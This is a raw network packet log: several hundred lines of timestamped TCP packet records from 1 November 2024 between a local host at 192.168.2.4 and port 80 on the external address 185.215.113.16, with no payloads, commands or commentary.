Nov 1, 2024 08:50:21.623574018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623584986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623586893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623614073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623625994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623635054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623635054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623646021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623656988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623666048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623677969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623682022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623692036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623708963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623723984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623729944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623735905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623747110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623768091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623773098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623773098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623780012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623790979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623811007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623836040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623852968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623872995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623883963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623898029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623908997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623920918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623933077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623941898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623951912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623954058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623954058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623954058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.623987913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.623999119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624020100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624025106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624025106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624039888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624051094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624061108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624062061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624077082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624084949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624087095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624099016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624109983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624116898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624121904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624150991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624155998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624155998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624310017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624320984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624330997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624341965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624353886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624365091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624382019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624383926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624392986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624403954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624413967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624420881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624420881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624423981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624454975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624470949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624481916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624491930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624542952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624552965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624563932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624576092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624586105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624586105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624586105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624588013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624612093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624636889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624675989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624687910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624697924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624710083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624742031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624742031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624748945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624758005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624759912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624783993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624794960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624806881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624813080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624819994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.624855042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.624876976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.625180006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.625205040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.625216961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.625261068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.627053976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.627430916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.660557032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660584927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660595894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660643101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660655022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660665035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.660677910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660689116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660697937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660698891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.660716057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660733938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660738945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660744905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660749912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660753965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660819054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660825014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660865068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.660937071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736469030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736481905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736493111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736576080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736618996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736630917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736660957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736680984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736691952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736694098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736694098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736702919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736715078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736726046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736726999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736737967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736747980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736757994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736761093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736773968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736777067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736793995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736809969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736814022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736841917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736848116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736855030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736865997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736890078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736901999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736901999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736901999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736908913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736912966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736922979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736933947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736954927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736958981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736970901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.736978054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.736982107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737059116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737061977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737072945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737083912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737157106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737157106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737160921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737171888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737184048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737232924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737283945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737301111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737333059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737339973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737351894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737376928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737421036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737432957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737443924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737458944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737487078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737514019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737531900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737551928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737567902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737580061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737586975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737605095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737616062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737626076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737646103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737653971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737658978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737668991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737713099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737718105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737725019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737765074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737793922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737804890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737821102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737833023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737844944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737848997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737860918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.737865925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737910032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.737925053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738090038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738101959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738114119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738126040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738141060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738151073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738162041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738173962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738178968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738178968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738183022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738224983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738231897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738234997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738265991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738318920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738372087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738400936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738413095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738513947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738524914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738535881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738559008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738583088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738599062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738622904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738635063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738679886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738689899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738701105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738719940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738749981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738797903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738809109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738820076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738838911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738850117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738862991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738869905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738869905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738884926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738902092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738903046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738910913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738929987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738949060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738956928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738960028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738971949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.738971949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.738998890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739012003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739021063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739028931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739037037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739041090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739051104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739053965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739062071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739073992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739098072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739109039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739123106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739130020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739130020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739145041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739156961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739159107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739167929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739178896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739190102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739201069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739213943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739218950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739218950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739227057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739228010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739240885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739250898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739252090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739317894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739891052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739916086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739928007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739938021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739949942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.739959955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.739984035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.740108967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740179062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740189075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740211010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740223885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740230083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.740268946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.740268946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740293026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740303993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740314007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740325928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740333080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.740338087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.740385056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741132975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741183996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741209984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741220951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741231918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741245031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741252899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741271973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741283894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741292953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741296053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741307974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741319895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741327047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741332054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741369009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741369009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741533041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741558075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741575003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741600037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741612911 CET	80	49738	185.215.113.16	192.168.2.4
